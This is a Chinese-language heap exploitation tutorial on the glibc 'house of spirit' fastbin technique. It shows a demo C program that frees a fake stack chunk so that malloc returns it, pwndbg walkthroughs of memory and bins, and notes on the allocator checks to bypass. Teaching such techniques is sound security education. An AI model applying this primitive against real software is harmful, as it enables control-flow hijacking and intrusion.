how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
house_of_spirit是一种fastbins攻击方法,通过构造fake chunk,然后将其free掉,就可以在下一次malloc时返回fake chunk的地址,即任意我们可控的区域。House_of_spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制EIP来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被free的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个fake chunk。所以 fake chunk的伪造是关键。
#include
#include
int main()
{
fprintf(stderr, "这个例子演示了 house of spirit 攻击\n");
fprintf(stderr, "我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它\n");
malloc(1);
fprintf(stderr, "覆盖一个指向 fastbin 的指针\n");
unsigned long long *a, *b;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
fprintf(stderr, "构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0\n");
fake_chunks[1] = 0x40; // size
fprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");
// 这是fake_chunks[?]可以数一下
fake_chunks[9] = 0x1234; // nextsize
fake_chunks[2] = 0x4141414141414141LL;
fake_chunks[10] = 0x4141414141414141LL;
fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);
a = &fake_chunks[2];
fprintf(stderr, "free!\n");
free(a);
fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
b = malloc(0x30);
fprintf(stderr, "malloc(0x30): %p\n", b);
b[0] = 0x4242424242424242LL;
fprintf(stderr, "ok!\n");
return 0;
}
gcc -g house_of_spirit.c -o house_of_spirit
调试环境搭建可参考环境从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客
root@pwn_test1604:/ctf/work/how2heap# gdb ./house_of_spirit
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./house_of_spirit...done.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_spirit
这个例子演示了 house of spirit 攻击
我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它
覆盖一个指向 fastbin 的指针
这块区域 (长度为: 80) 包含两个 chunk. 第一个在 0x7fffffffe568 第二个在 0x7fffffffe5a8.
构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0
next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)
现在,我们拿伪造的那个 fake chunk 的地址进行 free, 0x7fffffffe570.
free!
现在 malloc 的时候将会把 0x7fffffffe570 给返回回来
malloc(0x30): 0x7fffffffe570
ok!
[Inferior 1 (process 68) exited normally]
pwndbg>
运行到这里可以看到 fake_chunk 目前还没有被我们写入。
pwndbg> b 14
Breakpoint 1 at 0x400721: file house_of_spirit.c, line 14.
pwndbg> c
The program is not being run.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_spirit
这个例子演示了 house of spirit 攻击
我们将构造一个 fake chunk 然后释放掉它,这样再次申请的时候就会申请到它
覆盖一个指向 fastbin 的指针
Breakpoint 1, main () at house_of_spirit.c:15
15 fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x25
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x400900 (__libc_csu_init+80) ◂— add dword ptr [rax + 0x39], ecx
R8 0x25
R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
R10 0x1
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe550 ◂— 0x1
RIP 0x400721 (main+123) ◂— mov rax, qword ptr [rip + 0x200938]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400721 mov rax, qword ptr [rip + 0x200938] <0x601060>
0x400728 lea rdx, [rbp - 0x60]
0x40072c lea rcx, [rdx + 0x48]
0x400730 lea rdx, [rbp - 0x60]
0x400734 add rdx, 8
0x400738 mov r8, rcx
0x40073b mov rcx, rdx
0x40073e mov edx, 0x50
0x400743 mov esi, 0x4009f8
0x400748 mov rdi, rax
0x40074b mov eax, 0
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c
10
11 fprintf(stderr, "覆盖一个指向 fastbin 的指针\n");
12 unsigned long long *a, *b;
13 unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
14
► 15 fprintf(stderr, "这块区域 (长度为: %lu) 包含两个 chunk. 第一个在 %p 第二个在 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
16
17 fprintf(stderr, "构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0\n");
18 fake_chunks[1] = 0x40; // size
19
20 fprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe550 ◂— 0x1
01:0008│ 0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│ 0x7fffffffe560 ◂— 0x1
03:0018│ 0x7fffffffe568 —▸ 0x7fffffffe5e0 ◂— 0x1f7b99608
04:0020│ 0x7fffffffe570 —▸ 0x7ffff7ffe168 ◂— 0x0
05:0028│ 0x7fffffffe578 ◂— 0x0
06:0030│ 0x7fffffffe580 ◂— 0x1
07:0038│ 0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400721 main+123
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:14
pwndbg> p &fake_chunks
$1 = (unsigned long long (*)[10]) 0x7fffffffe560
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001 0x00007fffffffe5e0
0x7fffffffe570: 0x00007ffff7ffe168 0x0000000000000000
0x7fffffffe580: 0x0000000000000001 0x00000000004008fd
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0 0x00000000004005b0
0x7fffffffe5b0: 0x00007fffffffe6a0 0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0 0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8 0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608 0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000 0x21d19120b01fed91
pwndbg>
再来看一下,已经构造出fake chunk了。
pwndbg> b 23
Breakpoint 2 at 0x4007a1: file house_of_spirit.c, line 23.
pwndbg> c
Continuing.
构造 fake chunk 的 size,要比 chunk 大 0x10(因为 chunk 头),同时还要保证属于 fastbin,对于 fastbin 来说 prev_inuse 不会改变,但是其他两个位需要注意都要位 0
next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)
Breakpoint 2, main () at house_of_spirit.c:23
23 fake_chunks[2] = 0x4141414141414141LL;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x53
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x400b00 ◂— in al, 0xbd
R8 0x53
R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
R10 0x1
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe550 ◂— 0x1
RIP 0x4007a1 (main+251) ◂— movabs rax, 0x4141414141414141
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x4007a1 movabs rax, 0x4141414141414141
0x4007ab mov qword ptr [rbp - 0x50], rax
0x4007af movabs rax, 0x4141414141414141
0x4007b9 mov qword ptr [rbp - 0x10], rax
0x4007bd mov rax, qword ptr [rip + 0x20089c] <0x601060>
0x4007c4 lea rdx, [rbp - 0x60]
0x4007c8 add rdx, 0x10
0x4007cc mov esi, 0x400b78
0x4007d1 mov rdi, rax
0x4007d4 mov eax, 0
0x4007d9 call fprintf@plt <0x400570>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c
18 fake_chunks[1] = 0x40; // size
19
20 fprintf(stderr, "next chunk 的大小也要注意,要大于 0x10 小于 av->system_mem(128kb)\n");
21 // 这是fake_chunks[?]可以数一下
22 fake_chunks[9] = 0x1234; // nextsize
► 23 fake_chunks[2] = 0x4141414141414141LL;
24 fake_chunks[10] = 0x4141414141414141LL;
25
26 fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);
27 a = &fake_chunks[2];
28
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe550 ◂— 0x1
01:0008│ 0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│ 0x7fffffffe560 ◂— 0x1
03:0018│ 0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│ 0x7fffffffe570 —▸ 0x7ffff7ffe168 ◂— 0x0
05:0028│ 0x7fffffffe578 ◂— 0x0
06:0030│ 0x7fffffffe580 ◂— 0x1
07:0038│ 0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 4007a1 main+251
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:23
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001 0x0000000000000040
0x7fffffffe570: 0x00007ffff7ffe168 0x0000000000000000
0x7fffffffe580: 0x0000000000000001 0x00000000004008fd
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0 0x0000000000001234
0x7fffffffe5b0: 0x00007fffffffe6a0 0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0 0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8 0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608 0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000 0x21d19120b01fed91
pwndbg>
可以看一下fastbin,现在已经有了我们构造的哪个fake chunk了。
pwndbg> b 30
Breakpoint 3 at 0x400808: file house_of_spirit.c, line 30.
pwndbg> c
Continuing.
现在,我们拿伪造的那个 fake chunk 的地址进行 free, 0x7fffffffe570.
free!
Breakpoint 3, main () at house_of_spirit.c:30
30 free(a);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x6
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x400b00 ◂— in al, 0xbd
R8 0x6
R9 0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
R10 0x1
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'AAAAAAAA'
RIP 0x400808 (main+354) ◂— mov rax, qword ptr [rbp - 0x70]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400808 mov rax, qword ptr [rbp - 0x70]
0x40080c mov rdi, rax
0x40080f call free@plt <0x400540>
0x400814 mov rax, qword ptr [rip + 0x200845] <0x601060>
0x40081b lea rdx, [rbp - 0x60]
0x40081f add rdx, 0x10
0x400823 mov esi, 0x400bc8
0x400828 mov rdi, rax
0x40082b mov eax, 0
0x400830 call fprintf@plt <0x400570>
0x400835 mov edi, 0x30
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c
25
26 fprintf(stderr, "现在,我们拿伪造的那个 fake chunk 的地址进行 free, %p.\n", &fake_chunks[2]);
27 a = &fake_chunks[2];
28
29 fprintf(stderr, "free!\n");
► 30 free(a);
31
32 fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
33 b = malloc(0x30);
34 fprintf(stderr, "malloc(0x30): %p\n", b);
35 b[0] = 0x4242424242424242LL;
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'AAAAAAAA'
01:0008│ 0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│ 0x7fffffffe560 ◂— 0x1
03:0018│ 0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│ 0x7fffffffe570 ◂— 'AAAAAAAA'
05:0028│ 0x7fffffffe578 ◂— 0x0
06:0030│ 0x7fffffffe580 ◂— 0x1
07:0038│ 0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400808 main+354
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:30
pwndbg> n
32 fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7ffff7b04200 (__openat_2+16) ◂— cmp eax, 0x410000 /* '=' */
RDX 0x0
RDI 0xffffffff
RSI 0x7ffff7dd1b38 (main_arena+24) —▸ 0x7fffffffe560 ◂— 0x1
R8 0x7fffffffe570 ◂— 0x0
R9 0x7ffff7dd2500 (_nl_global_locale+224) —▸ 0x7ffff7b9b997 (_nl_C_name) ◂— add byte ptr [r15 + 0x5f], bl /* 'C' */
R10 0x8b8
R11 0x7ffff7a914f0 (free) ◂— push r13
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0
RIP 0x400814 (main+366) ◂— mov rax, qword ptr [rip + 0x200845]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x400808 mov rax, qword ptr [rbp - 0x70]
0x40080c mov rdi, rax
0x40080f call free@plt <0x400540>
► 0x400814 mov rax, qword ptr [rip + 0x200845] <0x601060>
0x40081b lea rdx, [rbp - 0x60]
0x40081f add rdx, 0x10
0x400823 mov esi, 0x400bc8
0x400828 mov rdi, rax
0x40082b mov eax, 0
0x400830 call fprintf@plt <0x400570>
0x400835 mov edi, 0x30
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c
27 a = &fake_chunks[2];
28
29 fprintf(stderr, "free!\n");
30 free(a);
31
► 32 fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
33 b = malloc(0x30);
34 fprintf(stderr, "malloc(0x30): %p\n", b);
35 b[0] = 0x4242424242424242LL;
36 fprintf(stderr, "ok!\n");
37 return 0;
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0
01:0008│ 0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fa ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
02:0010│ 0x7fffffffe560 ◂— 0x1
03:0018│ 0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│ r8 0x7fffffffe570 ◂— 0x0
... ↓
06:0030│ 0x7fffffffe580 ◂— 0x1
07:0038│ 0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400814 main+366
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001 0x0000000000000040
0x7fffffffe570: 0x0000000000000000 0x0000000000000000
0x7fffffffe580: 0x0000000000000001 0x00000000004008fd
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0 0x0000000000001234
0x7fffffffe5b0: 0x4141414141414141 0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0 0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8 0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608 0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000 0x21d19120b01fed91
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffe560 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>
会把fastbin中的fake chunk申请过去。
empty
pwndbg> b 35
Breakpoint 4 at 0x400860: file house_of_spirit.c, line 35.
pwndbg> c
Continuing.
现在 malloc 的时候将会把 0x7fffffffe570 给返回回来
malloc(0x30): 0x7fffffffe570
Breakpoint 4, main () at house_of_spirit.c:35
35 b[0] = 0x4242424242424242LL;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x1d
RBX 0x0
RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffbec0 ◂— 0x3028636f6c6c616d ('malloc(0')
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x1d
R10 0x0
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0
RIP 0x400860 (main+442) ◂— mov rax, qword ptr [rbp - 0x68]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x400860 mov rax, qword ptr [rbp - 0x68]
0x400864 movabs rcx, 0x4242424242424242
0x40086e mov qword ptr [rax], rcx
0x400871 mov rax, qword ptr [rip + 0x2007e8] <0x601060>
0x400878 mov rcx, rax
0x40087b mov edx, 4
0x400880 mov esi, 1
0x400885 mov edi, 0x400c0f
0x40088a call fwrite@plt <0x400590>
0x40088f mov eax, 0
0x400894 mov rsi, qword ptr [rbp - 8]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c
30 free(a);
31
32 fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
33 b = malloc(0x30);
34 fprintf(stderr, "malloc(0x30): %p\n", b);
► 35 b[0] = 0x4242424242424242LL;
36 fprintf(stderr, "ok!\n");
37 return 0;
38 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 0x0
... ↓
02:0010│ 0x7fffffffe560 ◂— 0x1
03:0018│ 0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│ 0x7fffffffe570 ◂— 0x0
... ↓
06:0030│ 0x7fffffffe580 ◂— 0x1
07:0038│ 0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400860 main+442
f 1 7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_spirit.c:35
pwndbg> n
36 fprintf(stderr, "ok!\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x7fffffffe570 ◂— 'BBBBBBBB'
RBX 0x0
RCX 0x4242424242424242 ('BBBBBBBB')
RDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
RDI 0x2
RSI 0x7fffffffbec0 ◂— 0x3028636f6c6c616d ('malloc(0')
R8 0x7ffff7feb700 ◂— 0x7ffff7feb700
R9 0x1d
R10 0x0
R11 0x246
R12 0x4005b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe6a0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffe5c0 —▸ 0x4008b0 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'BBBBBBBB'
RIP 0x400871 (main+459) ◂— mov rax, qword ptr [rip + 0x2007e8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
0x400860 mov rax, qword ptr [rbp - 0x68]
0x400864 movabs rcx, 0x4242424242424242
0x40086e mov qword ptr [rax], rcx
► 0x400871 mov rax, qword ptr [rip + 0x2007e8] <0x601060>
0x400878 mov rcx, rax
0x40087b mov edx, 4
0x400880 mov esi, 1
0x400885 mov edi, 0x400c0f
0x40088a call fwrite@plt <0x400590>
0x40088f mov eax, 0
0x400894 mov rsi, qword ptr [rbp - 8]
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_spirit.c
31
32 fprintf(stderr, "现在 malloc 的时候将会把 %p 给返回回来\n", &fake_chunks[2]);
33 b = malloc(0x30);
34 fprintf(stderr, "malloc(0x30): %p\n", b);
35 b[0] = 0x4242424242424242LL;
► 36 fprintf(stderr, "ok!\n");
37 return 0;
38 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe550 —▸ 0x7fffffffe570 ◂— 'BBBBBBBB'
... ↓
02:0010│ 0x7fffffffe560 ◂— 0x1
03:0018│ 0x7fffffffe568 ◂— 0x40 /* '@' */
04:0020│ rax 0x7fffffffe570 ◂— 'BBBBBBBB'
05:0028│ 0x7fffffffe578 ◂— 0x0
06:0030│ 0x7fffffffe580 ◂— 0x1
07:0038│ 0x7fffffffe588 —▸ 0x4008fd (__libc_csu_init+77) ◂— add rbx, 1
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 400871 main+459
f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> x/20gx 0x7fffffffe560
0x7fffffffe560: 0x0000000000000001 0x0000000000000040
0x7fffffffe570: 0x4242424242424242 0x0000000000000000
0x7fffffffe580: 0x0000000000000001 0x00000000004008fd
0x7fffffffe590: 0x0000000000000000 0x0000000000000000
0x7fffffffe5a0: 0x00000000004008b0 0x0000000000001234
0x7fffffffe5b0: 0x4141414141414141 0xe41e9f64d2643f00
0x7fffffffe5c0: 0x00000000004008b0 0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8 0x00007fffffffe6a8
0x7fffffffe5e0: 0x00000001f7b99608 0x00000000004006a6
0x7fffffffe5f0: 0x0000000000000000 0x21d19120b01fed91
伪造chunk时需要绕过一些检查,首先是标志位,PREV_INUSE
位并不影响 free的过程,但 IS_MMAPPED
位和 NON_MAIN_ARENA
位都要为零。其次,在64位系统中fast chunk的大小要在 32~128 字节之间。最后,是next chunk的大小,必须大于 2*SIZE_SZ
(即大于16),小于 av->system_mem
(即小于128kb),才能绕过对next chunk大小的检查。
所以house_of_spirit的主要目的是,当我们伪造的fake chunk内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk里填充一些字母,但在现实中这些位置很可能是不可控的,而house_of_spirit也正是以此为目的而出现的。
【PWN】how2heap | 狼组安全团队公开知识库